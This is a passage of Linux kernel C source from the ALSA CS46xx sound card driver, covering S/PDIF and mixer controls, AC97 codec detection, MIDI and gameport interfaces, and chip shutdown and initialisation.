EGPIOPTR_GPPT0 | val2); /* open-drain on output */ } else { /* coaxial */ snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, val1 & ~EGPIODR_GPOE0); /* disable */ snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, val2 & ~EGPIOPTR_GPPT0); /* disable */ } /* checking diff from the EGPIO direction register should be enough */ return (val1 != (int)snd_cs46xx_peekBA0(chip, BA0_EGPIODR)); } static int snd_cs46xx_spdif_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo) { uinfo->type = SNDRV_CTL_ELEM_TYPE_IEC958; uinfo->count = 1; return 0; } static int snd_cs46xx_spdif_default_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; mutex_lock(&chip->spos_mutex); ucontrol->value.iec958.status[0] = _wrap_all_bits((ins->spdif_csuv_default >> 24) & 0xff); ucontrol->value.iec958.status[1] = _wrap_all_bits((ins->spdif_csuv_default >> 16) & 0xff); ucontrol->value.iec958.status[2] = 0; ucontrol->value.iec958.status[3] = _wrap_all_bits((ins->spdif_csuv_default) & 0xff); mutex_unlock(&chip->spos_mutex); return 0; } static int snd_cs46xx_spdif_default_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx * chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; unsigned int val; int change; mutex_lock(&chip->spos_mutex); val = ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[0]) << 24) | ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[2]) << 16) | ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[3])) | /* left and right validity bit */ (1 << 13) | (1 << 12); change = (unsigned int)ins->spdif_csuv_default != val; ins->spdif_csuv_default = val; if ( !(ins->spdif_status_out & DSP_SPDIF_STATUS_PLAYBACK_OPEN) ) cs46xx_poke_via_dsp (chip,SP_SPDOUT_CSUV,val); mutex_unlock(&chip->spos_mutex); return change; } static int snd_cs46xx_spdif_mask_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { ucontrol->value.iec958.status[0] = 0xff; ucontrol->value.iec958.status[1] = 0xff; ucontrol->value.iec958.status[2] = 0x00; ucontrol->value.iec958.status[3] = 0xff; return 0; } static int snd_cs46xx_spdif_stream_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; mutex_lock(&chip->spos_mutex); ucontrol->value.iec958.status[0] = _wrap_all_bits((ins->spdif_csuv_stream >> 24) & 0xff); ucontrol->value.iec958.status[1] = _wrap_all_bits((ins->spdif_csuv_stream >> 16) & 0xff); ucontrol->value.iec958.status[2] = 0; ucontrol->value.iec958.status[3] = _wrap_all_bits((ins->spdif_csuv_stream) & 0xff); mutex_unlock(&chip->spos_mutex); return 0; } static int snd_cs46xx_spdif_stream_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx * chip = snd_kcontrol_chip(kcontrol); struct dsp_spos_instance * ins = chip->dsp_spos_instance; unsigned int val; int change; mutex_lock(&chip->spos_mutex); val = ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[0]) << 24) | ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[1]) << 16) | ((unsigned int)_wrap_all_bits(ucontrol->value.iec958.status[3])) | /* left and right validity bit */ (1 << 13) | (1 << 12); change = ins->spdif_csuv_stream != val; ins->spdif_csuv_stream = val; if ( ins->spdif_status_out & DSP_SPDIF_STATUS_PLAYBACK_OPEN ) cs46xx_poke_via_dsp (chip,SP_SPDOUT_CSUV,val); mutex_unlock(&chip->spos_mutex); return change; } #endif /* CONFIG_SND_CS46XX_NEW_DSP */ static const struct snd_kcontrol_new snd_cs46xx_controls[] = { { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "DAC Volume", .info = snd_cs46xx_vol_info, #ifndef CONFIG_SND_CS46XX_NEW_DSP .get = snd_cs46xx_vol_get, .put = snd_cs46xx_vol_put, .private_value = BA1_PVOL, #else .get = snd_cs46xx_vol_dac_get, .put = snd_cs46xx_vol_dac_put, #endif }, { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "ADC Volume", .info = snd_cs46xx_vol_info, .get = snd_cs46xx_vol_get, .put = snd_cs46xx_vol_put, #ifndef CONFIG_SND_CS46XX_NEW_DSP .private_value = BA1_CVOL, #else .private_value = (VARIDECIMATE_SCB_ADDR + 0xE) << 2, #endif }, #ifdef CONFIG_SND_CS46XX_NEW_DSP { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "ADC Capture Switch", .info = snd_mixer_boolean_info, .get = snd_cs46xx_adc_capture_get, .put = snd_cs46xx_adc_capture_put }, { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "DAC Capture Switch", .info = snd_mixer_boolean_info, .get = snd_cs46xx_pcm_capture_get, .put = snd_cs46xx_pcm_capture_put }, { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = SNDRV_CTL_NAME_IEC958("Output ",NONE,SWITCH), .info = snd_mixer_boolean_info, .get = snd_cs46xx_iec958_get, .put = snd_cs46xx_iec958_put, .private_value = CS46XX_MIXER_SPDIF_OUTPUT_ELEMENT, }, { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = SNDRV_CTL_NAME_IEC958("Input ",NONE,SWITCH), .info = snd_mixer_boolean_info, .get = snd_cs46xx_iec958_get, .put = snd_cs46xx_iec958_put, .private_value = CS46XX_MIXER_SPDIF_INPUT_ELEMENT, }, #if 0 /* Input IEC958 volume does not work for the moment. (Benny) */ { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = SNDRV_CTL_NAME_IEC958("Input ",NONE,VOLUME), .info = snd_cs46xx_vol_info, .get = snd_cs46xx_vol_iec958_get, .put = snd_cs46xx_vol_iec958_put, .private_value = (ASYNCRX_SCB_ADDR + 0xE) << 2, }, #endif { .iface = SNDRV_CTL_ELEM_IFACE_PCM, .name = SNDRV_CTL_NAME_IEC958("",PLAYBACK,DEFAULT), .info = snd_cs46xx_spdif_info, .get = snd_cs46xx_spdif_default_get, .put = snd_cs46xx_spdif_default_put, }, { .iface = SNDRV_CTL_ELEM_IFACE_PCM, .name = SNDRV_CTL_NAME_IEC958("",PLAYBACK,MASK), .info = snd_cs46xx_spdif_info, .get = snd_cs46xx_spdif_mask_get, .access = SNDRV_CTL_ELEM_ACCESS_READ }, { .iface = SNDRV_CTL_ELEM_IFACE_PCM, .name = SNDRV_CTL_NAME_IEC958("",PLAYBACK,PCM_STREAM), .info = snd_cs46xx_spdif_info, .get = snd_cs46xx_spdif_stream_get, .put = snd_cs46xx_spdif_stream_put }, #endif }; #ifdef CONFIG_SND_CS46XX_NEW_DSP /* set primary cs4294 codec into Extended Audio Mode */ static int snd_cs46xx_front_dup_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); unsigned short val; val = snd_ac97_read(chip->ac97[CS46XX_PRIMARY_CODEC_INDEX], AC97_CSR_ACMODE); ucontrol->value.integer.value[0] = (val & 0x200) ? 0 : 1; return 0; } static int snd_cs46xx_front_dup_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { struct snd_cs46xx *chip = snd_kcontrol_chip(kcontrol); return snd_ac97_update_bits(chip->ac97[CS46XX_PRIMARY_CODEC_INDEX], AC97_CSR_ACMODE, 0x200, ucontrol->value.integer.value[0] ? 0 : 0x200); } static const struct snd_kcontrol_new snd_cs46xx_front_dup_ctl = { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "Duplicate Front", .info = snd_mixer_boolean_info, .get = snd_cs46xx_front_dup_get, .put = snd_cs46xx_front_dup_put, }; #endif #ifdef CONFIG_SND_CS46XX_NEW_DSP /* Only available on the Hercules Game Theater XP soundcard */ static const struct snd_kcontrol_new snd_hercules_controls[] = { { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = "Optical/Coaxial SPDIF Input Switch", .info = snd_mixer_boolean_info, .get = snd_herc_spdif_select_get, .put = snd_herc_spdif_select_put, }, }; static void snd_cs46xx_codec_reset (struct snd_ac97 * ac97) { unsigned long end_time; int err; /* reset to defaults */ snd_ac97_write(ac97, AC97_RESET, 0); /* set the desired CODEC mode */ if (ac97->num == CS46XX_PRIMARY_CODEC_INDEX) { dev_dbg(ac97->bus->card->dev, "CODEC1 mode %04x\n", 0x0); snd_cs46xx_ac97_write(ac97, AC97_CSR_ACMODE, 0x0); } else if (ac97->num == CS46XX_SECONDARY_CODEC_INDEX) { dev_dbg(ac97->bus->card->dev, "CODEC2 mode %04x\n", 0x3); snd_cs46xx_ac97_write(ac97, AC97_CSR_ACMODE, 0x3); } else { snd_BUG(); /* should never happen ... */ } udelay(50); /* it's necessary to wait awhile until registers are accessible after RESET */ /* because the PCM or MASTER volume registers can be modified, */ /* the REC_GAIN register is used for tests */ end_time = jiffies + HZ; do { unsigned short ext_mid; /* use preliminary reads to settle the communication */ snd_ac97_read(ac97, AC97_RESET); snd_ac97_read(ac97, AC97_VENDOR_ID1); snd_ac97_read(ac97, AC97_VENDOR_ID2); /* modem? */ ext_mid = snd_ac97_read(ac97, AC97_EXTENDED_MID); if (ext_mid != 0xffff && (ext_mid & 1) != 0) return; /* test if we can write to the record gain volume register */ snd_ac97_write(ac97, AC97_REC_GAIN, 0x8a05); if ((err = snd_ac97_read(ac97, AC97_REC_GAIN)) == 0x8a05) return; msleep(10); } while (time_after_eq(end_time, jiffies)); dev_err(ac97->bus->card->dev, "CS46xx secondary codec doesn't respond!\n"); } #endif static int cs46xx_detect_codec(struct snd_cs46xx *chip, int codec) { int idx, err; struct snd_ac97_template ac97; memset(&ac97, 0, sizeof(ac97)); ac97.private_data = chip; ac97.private_free = snd_cs46xx_mixer_free_ac97; ac97.num = codec; if (chip->amplifier_ctrl == amp_voyetra) ac97.scaps = AC97_SCAP_INV_EAPD; if (codec == CS46XX_SECONDARY_CODEC_INDEX) { snd_cs46xx_codec_write(chip, AC97_RESET, 0, codec); udelay(10); if (snd_cs46xx_codec_read(chip, AC97_RESET, codec) & 0x8000) { dev_dbg(chip->card->dev, "secondary codec not present\n"); return -ENXIO; } } snd_cs46xx_codec_write(chip, AC97_MASTER, 0x8000, codec); for (idx = 0; idx < 100; ++idx) { if (snd_cs46xx_codec_read(chip, AC97_MASTER, codec) == 0x8000) { err = snd_ac97_mixer(chip->ac97_bus, &ac97, &chip->ac97[codec]); return err; } msleep(10); } dev_dbg(chip->card->dev, "codec %d detection timeout\n", codec); return -ENXIO; } int snd_cs46xx_mixer(struct snd_cs46xx *chip, int spdif_device) { struct snd_card *card = chip->card; struct snd_ctl_elem_id id; int err; unsigned int idx; static const struct snd_ac97_bus_ops ops = { #ifdef CONFIG_SND_CS46XX_NEW_DSP .reset = snd_cs46xx_codec_reset, #endif .write = snd_cs46xx_ac97_write, .read = snd_cs46xx_ac97_read, }; /* detect primary codec */ chip->nr_ac97_codecs = 0; dev_dbg(chip->card->dev, "detecting primary codec\n"); if ((err = snd_ac97_bus(card, 0, &ops, chip, &chip->ac97_bus)) < 0) return err; chip->ac97_bus->private_free = snd_cs46xx_mixer_free_ac97_bus; if (cs46xx_detect_codec(chip, CS46XX_PRIMARY_CODEC_INDEX) < 0) return -ENXIO; chip->nr_ac97_codecs = 1; #ifdef CONFIG_SND_CS46XX_NEW_DSP dev_dbg(chip->card->dev, "detecting secondary codec\n"); /* try detect a secondary codec */ if (! cs46xx_detect_codec(chip, CS46XX_SECONDARY_CODEC_INDEX)) chip->nr_ac97_codecs = 2; #endif /* CONFIG_SND_CS46XX_NEW_DSP */ /* add cs4630 mixer controls */ for (idx = 0; idx < ARRAY_SIZE(snd_cs46xx_controls); idx++) { struct snd_kcontrol *kctl; kctl = snd_ctl_new1(&snd_cs46xx_controls[idx], chip); if (kctl && kctl->id.iface == SNDRV_CTL_ELEM_IFACE_PCM) kctl->id.device = spdif_device; if ((err = snd_ctl_add(card, kctl)) < 0) return err; } /* get EAPD mixer switch (for voyetra hack) */ memset(&id, 0, sizeof(id)); id.iface = SNDRV_CTL_ELEM_IFACE_MIXER; strcpy(id.name, "External Amplifier"); chip->eapd_switch = snd_ctl_find_id(chip->card, &id); #ifdef CONFIG_SND_CS46XX_NEW_DSP if (chip->nr_ac97_codecs == 1) { unsigned int id2 = chip->ac97[CS46XX_PRIMARY_CODEC_INDEX]->id & 0xffff; if ((id2 & 0xfff0) == 0x5920) { /* CS4294 and CS4298 */ err = snd_ctl_add(card, snd_ctl_new1(&snd_cs46xx_front_dup_ctl, chip)); if (err < 0) return err; snd_ac97_write_cache(chip->ac97[CS46XX_PRIMARY_CODEC_INDEX], AC97_CSR_ACMODE, 0x200); } } /* do soundcard specific mixer setup */ if (chip->mixer_init) { dev_dbg(chip->card->dev, "calling chip->mixer_init(chip);\n"); chip->mixer_init(chip); } #endif /* turn on amplifier */ chip->amplifier_ctrl(chip, 1); return 0; } /* * RawMIDI interface */ static void snd_cs46xx_midi_reset(struct snd_cs46xx *chip) { snd_cs46xx_pokeBA0(chip, BA0_MIDCR, MIDCR_MRST); udelay(100); snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } static int snd_cs46xx_midi_input_open(struct snd_rawmidi_substream *substream) { struct snd_cs46xx *chip = substream->rmidi->private_data; chip->active_ctrl(chip, 1); spin_lock_irq(&chip->reg_lock); chip->uartm |= CS46XX_MODE_INPUT; chip->midcr |= MIDCR_RXE; chip->midi_input = substream; if (!(chip->uartm & CS46XX_MODE_OUTPUT)) { snd_cs46xx_midi_reset(chip); } else { snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } spin_unlock_irq(&chip->reg_lock); return 0; } static int snd_cs46xx_midi_input_close(struct snd_rawmidi_substream *substream) { struct snd_cs46xx *chip = substream->rmidi->private_data; spin_lock_irq(&chip->reg_lock); chip->midcr &= ~(MIDCR_RXE | MIDCR_RIE); chip->midi_input = NULL; if (!(chip->uartm & CS46XX_MODE_OUTPUT)) { snd_cs46xx_midi_reset(chip); } else { snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } chip->uartm &= ~CS46XX_MODE_INPUT; spin_unlock_irq(&chip->reg_lock); chip->active_ctrl(chip, -1); return 0; } static int snd_cs46xx_midi_output_open(struct snd_rawmidi_substream *substream) { struct snd_cs46xx *chip = substream->rmidi->private_data; chip->active_ctrl(chip, 1); spin_lock_irq(&chip->reg_lock); chip->uartm |= CS46XX_MODE_OUTPUT; chip->midcr |= MIDCR_TXE; chip->midi_output = substream; if (!(chip->uartm & CS46XX_MODE_INPUT)) { snd_cs46xx_midi_reset(chip); } else { snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } spin_unlock_irq(&chip->reg_lock); return 0; } static int snd_cs46xx_midi_output_close(struct snd_rawmidi_substream *substream) { struct snd_cs46xx *chip = substream->rmidi->private_data; spin_lock_irq(&chip->reg_lock); chip->midcr &= ~(MIDCR_TXE | MIDCR_TIE); chip->midi_output = NULL; if (!(chip->uartm & CS46XX_MODE_INPUT)) { snd_cs46xx_midi_reset(chip); } else { snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } chip->uartm &= ~CS46XX_MODE_OUTPUT; spin_unlock_irq(&chip->reg_lock); chip->active_ctrl(chip, -1); return 0; } static void snd_cs46xx_midi_input_trigger(struct snd_rawmidi_substream *substream, int up) { unsigned long flags; struct snd_cs46xx *chip = substream->rmidi->private_data; spin_lock_irqsave(&chip->reg_lock, flags); if (up) { if ((chip->midcr & MIDCR_RIE) == 0) { chip->midcr |= MIDCR_RIE; snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } } else { if (chip->midcr & MIDCR_RIE) { chip->midcr &= ~MIDCR_RIE; snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } } spin_unlock_irqrestore(&chip->reg_lock, flags); } static void snd_cs46xx_midi_output_trigger(struct snd_rawmidi_substream *substream, int up) { unsigned long flags; struct snd_cs46xx *chip = substream->rmidi->private_data; unsigned char byte; spin_lock_irqsave(&chip->reg_lock, flags); if (up) { if ((chip->midcr & MIDCR_TIE) == 0) { chip->midcr |= MIDCR_TIE; /* fill UART FIFO buffer at first, and turn Tx interrupts only if necessary */ while ((chip->midcr & MIDCR_TIE) && (snd_cs46xx_peekBA0(chip, BA0_MIDSR) & MIDSR_TBF) == 0) { if (snd_rawmidi_transmit(substream, &byte, 1) != 1) { chip->midcr &= ~MIDCR_TIE; } else { snd_cs46xx_pokeBA0(chip, BA0_MIDWP, byte); } } snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } } else { if (chip->midcr & MIDCR_TIE) { chip->midcr &= ~MIDCR_TIE; snd_cs46xx_pokeBA0(chip, BA0_MIDCR, chip->midcr); } } spin_unlock_irqrestore(&chip->reg_lock, flags); } static const struct snd_rawmidi_ops snd_cs46xx_midi_output = { .open = snd_cs46xx_midi_output_open, .close = snd_cs46xx_midi_output_close, .trigger = snd_cs46xx_midi_output_trigger, }; static const struct snd_rawmidi_ops snd_cs46xx_midi_input = { .open = snd_cs46xx_midi_input_open, .close = snd_cs46xx_midi_input_close, .trigger = snd_cs46xx_midi_input_trigger, }; int snd_cs46xx_midi(struct snd_cs46xx *chip, int device) { struct snd_rawmidi *rmidi; int err; if ((err = snd_rawmidi_new(chip->card, "CS46XX", device, 1, 1, &rmidi)) < 0) return err; strcpy(rmidi->name, "CS46XX"); snd_rawmidi_set_ops(rmidi, SNDRV_RAWMIDI_STREAM_OUTPUT, &snd_cs46xx_midi_output); snd_rawmidi_set_ops(rmidi, SNDRV_RAWMIDI_STREAM_INPUT, &snd_cs46xx_midi_input); rmidi->info_flags |= SNDRV_RAWMIDI_INFO_OUTPUT | SNDRV_RAWMIDI_INFO_INPUT | SNDRV_RAWMIDI_INFO_DUPLEX; rmidi->private_data = chip; chip->rmidi = rmidi; return 0; } /* * gameport interface */ #if IS_REACHABLE(CONFIG_GAMEPORT) static void snd_cs46xx_gameport_trigger(struct gameport *gameport) { struct snd_cs46xx *chip = gameport_get_port_data(gameport); if (snd_BUG_ON(!chip)) return; snd_cs46xx_pokeBA0(chip, BA0_JSPT, 0xFF); //outb(gameport->io, 0xFF); } static unsigned char snd_cs46xx_gameport_read(struct gameport *gameport) { struct snd_cs46xx *chip = gameport_get_port_data(gameport); if (snd_BUG_ON(!chip)) return 0; return snd_cs46xx_peekBA0(chip, BA0_JSPT); //inb(gameport->io); } static int snd_cs46xx_gameport_cooked_read(struct gameport *gameport, int *axes, int *buttons) { struct snd_cs46xx *chip = gameport_get_port_data(gameport); unsigned js1, js2, jst; if (snd_BUG_ON(!chip)) return 0; js1 = snd_cs46xx_peekBA0(chip, BA0_JSC1); js2 = snd_cs46xx_peekBA0(chip, BA0_JSC2); jst = snd_cs46xx_peekBA0(chip, BA0_JSPT); *buttons = (~jst >> 4) & 0x0F; axes[0] = ((js1 & JSC1_Y1V_MASK) >> JSC1_Y1V_SHIFT) & 0xFFFF; axes[1] = ((js1 & JSC1_X1V_MASK) >> JSC1_X1V_SHIFT) & 0xFFFF; axes[2] = ((js2 & JSC2_Y2V_MASK) >> JSC2_Y2V_SHIFT) & 0xFFFF; axes[3] = ((js2 & JSC2_X2V_MASK) >> JSC2_X2V_SHIFT) & 0xFFFF; for(jst=0;jst<4;++jst) if(axes[jst]==0xFFFF) axes[jst] = -1; return 0; } static int snd_cs46xx_gameport_open(struct gameport *gameport, int mode) { switch (mode) { case GAMEPORT_MODE_COOKED: return 0; case GAMEPORT_MODE_RAW: return 0; default: return -1; } return 0; } int snd_cs46xx_gameport(struct snd_cs46xx *chip) { struct gameport *gp; chip->gameport = gp = gameport_allocate_port(); if (!gp) { dev_err(chip->card->dev, "cannot allocate memory for gameport\n"); return -ENOMEM; } gameport_set_name(gp, "CS46xx Gameport"); gameport_set_phys(gp, "pci%s/gameport0", pci_name(chip->pci)); gameport_set_dev_parent(gp, &chip->pci->dev); gameport_set_port_data(gp, chip); gp->open = snd_cs46xx_gameport_open; gp->read = snd_cs46xx_gameport_read; gp->trigger = snd_cs46xx_gameport_trigger; gp->cooked_read = snd_cs46xx_gameport_cooked_read; snd_cs46xx_pokeBA0(chip, BA0_JSIO, 0xFF); // ? snd_cs46xx_pokeBA0(chip, BA0_JSCTL, JSCTL_SP_MEDIUM_SLOW); gameport_register_port(gp); return 0; } static inline void snd_cs46xx_remove_gameport(struct snd_cs46xx *chip) { if (chip->gameport) { gameport_unregister_port(chip->gameport); chip->gameport = NULL; } } #else int snd_cs46xx_gameport(struct snd_cs46xx *chip) { return -ENOSYS; } static inline void snd_cs46xx_remove_gameport(struct snd_cs46xx *chip) { } #endif /* CONFIG_GAMEPORT */ #ifdef CONFIG_SND_PROC_FS /* * proc interface */ static ssize_t snd_cs46xx_io_read(struct snd_info_entry *entry, void *file_private_data, struct file *file, char __user *buf, size_t count, loff_t pos) { struct snd_cs46xx_region *region = entry->private_data; if (copy_to_user_fromio(buf, region->remap_addr + pos, count)) return -EFAULT; return count; } static const struct snd_info_entry_ops snd_cs46xx_proc_io_ops = { .read = snd_cs46xx_io_read, }; static int snd_cs46xx_proc_init(struct snd_card *card, struct snd_cs46xx *chip) { struct snd_info_entry *entry; int idx; for (idx = 0; idx < 5; idx++) { struct snd_cs46xx_region *region = &chip->region.idx[idx]; if (! snd_card_proc_new(card, region->name, &entry)) { entry->content = SNDRV_INFO_CONTENT_DATA; entry->private_data = chip; entry->c.ops = &snd_cs46xx_proc_io_ops; entry->size = region->size; entry->mode = S_IFREG | 0400; } } #ifdef CONFIG_SND_CS46XX_NEW_DSP cs46xx_dsp_proc_init(card, chip); #endif return 0; } static int snd_cs46xx_proc_done(struct snd_cs46xx *chip) { #ifdef CONFIG_SND_CS46XX_NEW_DSP cs46xx_dsp_proc_done(chip); #endif return 0; } #else /* !CONFIG_SND_PROC_FS */ #define snd_cs46xx_proc_init(card, chip) #define snd_cs46xx_proc_done(chip) #endif /* * stop the h/w */ static void snd_cs46xx_hw_stop(struct snd_cs46xx *chip) { unsigned int tmp; tmp = snd_cs46xx_peek(chip, BA1_PFIE); tmp &= ~0x0000f03f; tmp |= 0x00000010; snd_cs46xx_poke(chip, BA1_PFIE, tmp); /* playback interrupt disable */ tmp = snd_cs46xx_peek(chip, BA1_CIE); tmp &= ~0x0000003f; tmp |= 0x00000011; snd_cs46xx_poke(chip, BA1_CIE, tmp); /* capture interrupt disable */ /* * Stop playback DMA. */ tmp = snd_cs46xx_peek(chip, BA1_PCTL); snd_cs46xx_poke(chip, BA1_PCTL, tmp & 0x0000ffff); /* * Stop capture DMA. */ tmp = snd_cs46xx_peek(chip, BA1_CCTL); snd_cs46xx_poke(chip, BA1_CCTL, tmp & 0xffff0000); /* * Reset the processor. */ snd_cs46xx_reset(chip); snd_cs46xx_proc_stop(chip); /* * Power down the PLL. */ snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, 0); /* * Turn off the Processor by turning off the software clock enable flag in * the clock control register. */ tmp = snd_cs46xx_peekBA0(chip, BA0_CLKCR1) & ~CLKCR1_SWCE; snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp); } static int snd_cs46xx_free(struct snd_cs46xx *chip) { int idx; if (snd_BUG_ON(!chip)) return -EINVAL; if (chip->active_ctrl) chip->active_ctrl(chip, 1); snd_cs46xx_remove_gameport(chip); if (chip->amplifier_ctrl) chip->amplifier_ctrl(chip, -chip->amplifier); /* force to off */ snd_cs46xx_proc_done(chip); if (chip->region.idx[0].resource) snd_cs46xx_hw_stop(chip); if (chip->irq >= 0) free_irq(chip->irq, chip); if (chip->active_ctrl) chip->active_ctrl(chip, -chip->amplifier); for (idx = 0; idx < 5; idx++) { struct snd_cs46xx_region *region = &chip->region.idx[idx]; iounmap(region->remap_addr); release_and_free_resource(region->resource); } #ifdef CONFIG_SND_CS46XX_NEW_DSP if (chip->dsp_spos_instance) { cs46xx_dsp_spos_destroy(chip); chip->dsp_spos_instance = NULL; } for (idx = 0; idx < CS46XX_DSP_MODULES; idx++) free_module_desc(chip->modules[idx]); #else vfree(chip->ba1); #endif #ifdef CONFIG_PM_SLEEP kfree(chip->saved_regs); #endif pci_disable_device(chip->pci); kfree(chip); return 0; } static int snd_cs46xx_dev_free(struct snd_device *device) { struct snd_cs46xx *chip = device->device_data; return snd_cs46xx_free(chip); } /* * initialize chip */ static int snd_cs46xx_chip_init(struct snd_cs46xx *chip) { int timeout; /* * First, blast the clock control register to zero so that the PLL starts * out in a known state, and blast the master serial port control register * to zero so that the serial ports also start out in a known state. */ snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, 0); snd_cs46xx_pokeBA0(chip, BA0_SERMC1, 0); /* * If we are in AC97 mode, then we must set the part to a host controlled * AC-link. Otherwise, we won't be able to bring up the link. */ #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_SERACC, SERACC_HSP | SERACC_CHIP_TYPE_2_0 | SERACC_TWO_CODECS); /* 2.00 dual codecs */ /* snd_cs46xx_pokeBA0(chip, BA0_SERACC, SERACC_HSP | SERACC_CHIP_TYPE_2_0); */ /* 2.00 codec */ #else snd_cs46xx_pokeBA0(chip, BA0_SERACC, SERACC_HSP | SERACC_CHIP_TYPE_1_03); /* 1.03 codec */ #endif /* * Drive the ARST# pin low for a minimum of 1uS (as defined in the AC97 * spec) and then drive it high. This is done for non AC97 modes since * there might be logic external to the CS461x that uses the ARST# line * for a reset. */ snd_cs46xx_pokeBA0(chip, BA0_ACCTL, 0); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_ACCTL2, 0); #endif udelay(50); snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_RSTN); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_ACCTL2, ACCTL_RSTN); #endif /* * The first thing we do here is to enable sync generation. As soon * as we start receiving bit clock, we'll start producing the SYNC * signal. */ snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_ESYN | ACCTL_RSTN); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_ACCTL2, ACCTL_ESYN | ACCTL_RSTN); #endif /* * Now wait for a short while to allow the AC97 part to start * generating bit clock (so we don't try to start the PLL without an * input clock). */ mdelay(10); /* * Set the serial port timing configuration, so that * the clock control circuit gets its clock from the correct place. */ snd_cs46xx_pokeBA0(chip, BA0_SERMC1, SERMC1_PTC_AC97); /* * Write the selected clock control setup to the hardware. Do not turn on * SWCE yet (if requested), so that the devices clocked by the output of * PLL are not clocked until the PLL is stable. */ snd_cs46xx_pokeBA0(chip, BA0_PLLCC, PLLCC_LPF_1050_2780_KHZ | PLLCC_CDR_73_104_MHZ); snd_cs46xx_pokeBA0(chip, BA0_PLLM, 0x3a); snd_cs46xx_pokeBA0(chip, BA0_CLKCR2, CLKCR2_PDIVS_8); /* * Power up the PLL. */ snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, CLKCR1_PLLP); /* * Wait until the PLL has stabilized. */ msleep(100); /* * Turn on clocking of the core so that we can setup the serial ports. */ snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, CLKCR1_PLLP | CLKCR1_SWCE); /* * Enable FIFO Host Bypass */ snd_cs46xx_pokeBA0(chip, BA0_SERBCF, SERBCF_HBP); /* * Fill the serial port FIFOs with silence. */ snd_cs46xx_clear_serial_FIFOs(chip); /* * Set the serial port FIFO pointer to the first sample in the FIFO. */ /* snd_cs46xx_pokeBA0(chip, BA0_SERBSP, 0); */ /* * Write the serial port configuration to the part. The master * enable bit is not set until all other values have been written. */ snd_cs46xx_pokeBA0(chip, BA0_SERC1, SERC1_SO1F_AC97 | SERC1_SO1EN); snd_cs46xx_pokeBA0(chip, BA0_SERC2, SERC2_SI1F_AC97 | SERC1_SO1EN); snd_cs46xx_pokeBA0(chip, BA0_SERMC1, SERMC1_PTC_AC97 | SERMC1_MSPE); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_SERC7, SERC7_ASDI2EN); snd_cs46xx_pokeBA0(chip, BA0_SERC3, 0); snd_cs46xx_pokeBA0(chip, BA0_SERC4, 0); snd_cs46xx_pokeBA0(chip, BA0_SERC5, 0); snd_cs46xx_pokeBA0(chip, BA0_SERC6, 1); #endif mdelay(5); /* * Wait for the codec ready signal from the AC97 codec. */ timeout = 150; while (timeout-- > 0) { /* * Read the AC97 status register to see if we've seen a CODEC READY * signal from the AC97 codec. */ if (snd_cs46xx_peekBA0(chip, BA0_ACSTS) & ACSTS_CRDY) goto ok1; msleep(10); } dev_err(chip->card->dev, "create - never read codec ready from AC'97\n"); dev_err(chip->card->dev, "it is not probably bug, try to use CS4236 driver\n"); return -EIO; ok1: #ifdef CONFIG_SND_CS46XX_NEW_DSP { int count; for (count = 0; count < 150; count++) { /* First, we want to wait for a short time. */ udelay(25); if (snd_cs46xx_peekBA0(chip, BA0_ACSTS2) & ACSTS_CRDY) break; } /* * Make sure CODEC is READY. */ if (!(snd_cs46xx_peekBA0(chip, BA0_ACSTS2) & ACSTS_CRDY)) dev_dbg(chip->card->dev, "never read card ready from secondary AC'97\n"); } #endif /* * Assert the vaid frame signal so that we can start sending commands * to the 